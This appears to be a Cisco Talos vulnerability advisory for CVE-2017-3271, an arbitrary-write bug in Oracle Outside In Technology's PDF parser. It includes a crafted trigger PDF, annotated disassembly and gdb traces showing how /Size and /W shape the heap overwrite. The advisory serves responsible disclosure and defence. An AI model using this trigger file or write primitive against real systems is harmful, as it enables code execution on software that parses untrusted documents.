Talos Vulnerability Report

TALOS-2016-0198

Oracle Outside In Technology PDF parser confusion Code Execution Vulnerability

January 17, 2017
CVE Number

CVE-2017-3271

Summary

An exploitable arbitrary write vulnerability exists in the PDF parser functionality of Oracle Outside In Technology SDK. A specially crafted PDF document can cause a parser confusion resulting in an arbitrary write vulnerability ultimately leading to code execution.

Tested Versions

Oracle Outside In Technology 8.5.3.

Product URLs

http://www.oracle.com/us/technologies/embedded/025613.htm

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Details

Oracle Outside In Technology SDK is a widely used file format access and filtering framework. It’s used in many enterprise software distributions for accessing, parsing, filtering and converting numerous file formats.

While parsing a specially crafted PDF file, a parser confusion can result in a string pointer being interpreted as an integer value, resulting in an out of bounds memory access which with careful manipulation of the memory and PDF layout can result in an arbitrary memory overwrite leading to code execution. The vulnerability can be triggered by a malformed /Index entry. Index usually contains an array of numbers, but if a string is found in the array, the vulnerability is triggered. A sample PDF file to trigger the vulnerability is:

%PDF-1.4
%öäüß
1 0 obj
<<
/Type/XRef
	/Index[10 1!   8]
/Size 50245490
/W[2 2 4]
/Length 79
/Filter/FlateDecode>>
stream...
endstream
endobj
startxref
32
%%EOF

A misplaced ! character in the above PDF sample causes the third array element to be interpreted as a string, placing a pointer to that string where an integer is expected. This pointer is then wrongfully used in offset calculation in the following code:

.text:B7092C74 mov     eax, [esp+10Ch+var_B4] [1]
.text:B7092C78 shl     eax, 4
.text:B7092C7B lea     eax, [ecx+eax]             [2]
.text:B7092C7E mov     [esp+10Ch+var_F8], eax
.text:B7092C82 mov     edx, [esp+10Ch+arg_0]
.text:B7092C89 mov     eax, [edx+3EE4h]
.text:B7092C8F shl     eax, 4
.text:B7092C92 lea     eax, [ecx+eax]
.text:B7092C95 cmp     [esp+10Ch+var_F8], eax
.text:B7092C99 jnb      loc_B7092D86

In the above disassembly, at [1] a string pointer instead of a small integer is moved into eax. At [2] it is added to ecx which is a pointer to a structure. Since eax is a pointer, adding them together will result in an integer overflow. It just so happens that /Size parameter is parsed before and influences memory layout. By carefully choosing the value of /Size, we can control the integer overflow and end up with an arbitrary pointer. In the above PDF example, the /Size value is chosen so we end up with a pointer to a heap chunk, lending itself to further heap metadata corruption.

gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x804be08 --> 0x0
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x874db008 --> 0x0
EDX: 0x80b70e8 --> 0x0
ESI: 0x80ce8c8 --> 0x60002
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
EIP: 0xb73a5c7e (mov    DWORD PTR [esp+0x14],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
	0xb73a5c74:        mov    eax,DWORD PTR [esp+0x58]
	0xb73a5c78:        shl    eax,0x4
	0xb73a5c7b:        lea    eax,[ecx+eax*1]
=> 0xb73a5c7e:        mov    DWORD PTR [esp+0x14],eax
	0xb73a5c82:        mov    edx,DWORD PTR [esp+0x110]
	0xb73a5c89:        mov    eax,DWORD PTR [edx+0x3ee4]
	0xb73a5c8f:        shl    eax,0x4
	0xb73a5c92:        lea    eax,[ecx+eax*1]
[------------------------------------stack-------------------------------------]
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x874db0a8 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb73a5c7e in ?? () from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so
gdb-peda$

From the above GDB session, we can see that we end up with eax pointing to a heap chunk.

The same address gets reused a bit later in the same faulty function as a destination of a write operation (with an added offset of 20) which can be seen in the following disassembly:

.text:B7092F03 loc_B7092F03:
.text:B7092F03 mov     edx, [esp+10Ch+var_CC]
.text:B7092F07 mov     eax, esi
.text:B7092F09 call    change_endianness
.text:B7092F0E mov     edx, eax
.text:B7092F10 mov     ecx, [esp+10Ch+var_8C]
.text:B7092F17 mov     [ecx-4], ax     ; write happens here
.text:B7092F1B cmp     ax, 2
.text:B7092F1F jbe     short loc_B70

In the above disassembly, an integer from the decompressed stream is read into an address pointed to by ecx-4 which is under our control which can be seen in the following gdb log:

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x4141 ('AA')
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x804be28 ("REAL")
EDX: 0x4141 ('AA')
ESI: 0x80ce8d0 --> 0x2064141
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
EIP: 0xb73a5f17 (mov    WORD PTR [ecx-0x4],ax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
	 0xb73a5f09:        call   0xb738ffc6
	 0xb73a5f0e:        mov    edx,eax
	 0xb73a5f10:        mov    ecx,DWORD PTR [esp+0x80]
=> 0xb73a5f17:        mov    WORD PTR [ecx-0x4],ax
	 0xb73a5f1b:        cmp    ax,0x2
	 0xb73a5f1f:        jbe    0xb73a5f2b
	 0xb73a5f21:        cmp    ax,0x1002
	 0xb73a5f25:        jne    0xb73a5ea1
[------------------------------------stack-------------------------------------]
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x804be08 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value


Breakpoint 17, 0xb73a5f17 in ?? ()
	 from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so
gdb-peda$

Note that in the above gdb log, eax contains 0x4141 which is an arbitrary value from the compressed stream (under direct control) and that ecx points to our the heap pointer we chose previously by integer overflow (with offset +20). A write operation in this case will corrupt the size data of the heap chunk resulting in a following crash:

Continuing.
EXOpenExport() failed: file is corrupt (0x0009)
warning: Temporarily disabling breakpoints for unloaded shared library "/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so"
*** Error in `/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample': double free or corruption (!prev): 0x0804be28 ***
======= Backtrace: =========
/usr/lib/libc.so.6(+0x6ce09)[0xb7e1de09]
/usr/lib/libc.so.6(+0x74406)[0xb7e25406]
/usr/lib/libc.so.6(cfree+0x56)[0xb7e29676]
/usr/lib/libstdc++.so.6(_ZdlPv+0x1c)[0xb764e01c]
/usr/lib/libstdc++.so.6(_ZdaPv+0x1c)[0xb764e07c]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(_ZN3oit6StringD1Ev+0x2f)[0xb79580e5]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0x154e42)[0xb7851e42]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0xf70e0)[0xb77f40e0]
/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so(+0x32dd7a)[0xb7a2ad7a]
/lib/ld-linux.so.2(+0xff6a)[0xb7febf6a]
/usr/lib/libc.so.6(+0x30603)[0xb7de1603]
======= Memory map: ========
08048000-0804a000 r-xp 00000000 fd:00 556354     /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
0804a000-0804b000 rw-p 00001000 fd:00 556354     /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
.....
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]


Program received signal SIGABRT, Aborted.
Stopped reason: SIGABRT
0xb7fdbbc0 in __kernel_vsyscall ()
gdb-peda$ x/x 0x0804be28-4
0x804be24:        0x00004141
gdb-peda$

It should be noted that the size of the conversion in change_endianness function is controlled by /W parameter giving us further control over the overwirte. The same vulnerability can be triggered multiple times, resulting in multiple arbitrary memory overwrites and ultimately code execution.

It is obvious that /Index array should not contain any strings, which signifies a malformed file. The vulnerability can be triggered by the ixsample application supplied with the SDK. Depending on the memory layout in the target environment, the supplied testcase might not result in a crash, nevertheless, memory corruption does occur.

Crash Information

gdb-peda$ context
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x4c0e
ECX: 0x4c0e
EDX: 0x6
ESI: 0x82
EDI: 0xb7f79000 --> 0x1c7d64
EBP: 0xbffff398 --> 0xb7f79840 --> 0x0
ESP: 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
EIP: 0xb7fdbbc0 (<__kernel_vsyscall+16>:        pop    ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
	0xb7fdbbbc <__kernel_vsyscall+12>:        nop
	0xb7fdbbbd <__kernel_vsyscall+13>:        nop
	0xb7fdbbbe <__kernel_vsyscall+14>:        int    0x80
=> 0xb7fdbbc0 <__kernel_vsyscall+16>:        pop    ebp
	0xb7fdbbc1 <__kernel_vsyscall+17>:        pop    edx
	0xb7fdbbc2 <__kernel_vsyscall+18>:        pop    ecx
	0xb7fdbbc3 <__kernel_vsyscall+19>:        ret
	0xb7fdbbc4:        int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
0004| 0xbffff0d8 --> 0x6
0008| 0xbffff0dc --> 0x4c0e
0012| 0xbffff0e0 --> 0xb7dde297 (<__GI_raise+71>:        xchg   ebx,edi)
0016| 0xbffff0e4 --> 0xb7f79000 --> 0x1c7d64
0020| 0xbffff0e8 --> 0xbffff184 ("32/redist/libsc_da.so\nb7fd8000-b7fd9000 rw-p 00000000 00:00 0 \nb7fd9000-b7fdb000 r--p 00000000 00:00 0          [vvar]\nb7fdb\202")
0024| 0xbffff0ec --> 0xb7ddfb69 (<__GI_abort+329>:        mov    edx,DWORD PTR gs:0x8)
0028| 0xbffff0f0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
gdb-peda$ exploitable
Description: Heap error
Short description: HeapError (10/22)
Hash: b42af7471403641a54c8cbc0f252f8f5.926972e46151ec1280fc06fa223de77d
Exploitability Classification: EXPLOITABLE
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.
Other tags: AbortSignal (20/22)
gdb-peda$ bt
#0  0xb7fdbbc0 in __kernel_vsyscall ()
#1  0xb7dde297 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:55
#2  0xb7ddfb69 in __GI_abort () at abort.c:89
#3  0xb7e1de0e in __libc_message (do_abort=0x2,
	 fmt=0xb7f28b4c "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7e25406 in malloc_printerr (ptr=<optimized out>,
	 str=0xb7f28c1c "double free or corruption (!prev)", action=<optimized out>) at malloc.c:4974
#5  _int_free (av=0xb7f79840 <main_arena>, p=<optimized out>, have_lock=0x0) at malloc.c:3841
#6  0xb7e29676 in __GI___libc_free (mem=0x804be28) at malloc.c:2951
#7  0xb764e01c in operator delete(void*) () from /usr/lib/libstdc++.so.6
#8  0xb764e07c in operator delete[](void*) () from /usr/lib/libstdc++.so.6
#9  0xb79580e5 in oit::String::~String() ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#10 0xb7851e42 in ?? ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#11 0xb77f40e0 in ?? ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#12 0xb7a2ad7a in _fini ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#13 0xb7febf6a in _dl_fini () at dl-fini.c:257
#14 0xb7de1603 in __run_exit_handlers (status=0x9, listp=0xb7f79420 <__exit_funcs>,
	 run_list_atexit=0x1) at exit.c:82
#15 0xb7de1661 in __GI_exit (status=0x9) at exit.c:104
#16 0xb7dc8e8a in __libc_start_main (main=0x80488d4 <main>, argc=0x3, argv=0xbffff6e4,
	 init=0x8048ccc <__libc_csu_init>, fini=0x8048d20 <__libc_csu_fini>,
	 rtld_fini=0xb7febd90 <_dl_fini>, stack_end=0xbffff6dc) at libc-start.c:323
#17 0x08048811 in _start ()
gdb-peda$

Timeline

2016-08-29 - Vendor Disclosure
2017-01-17 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.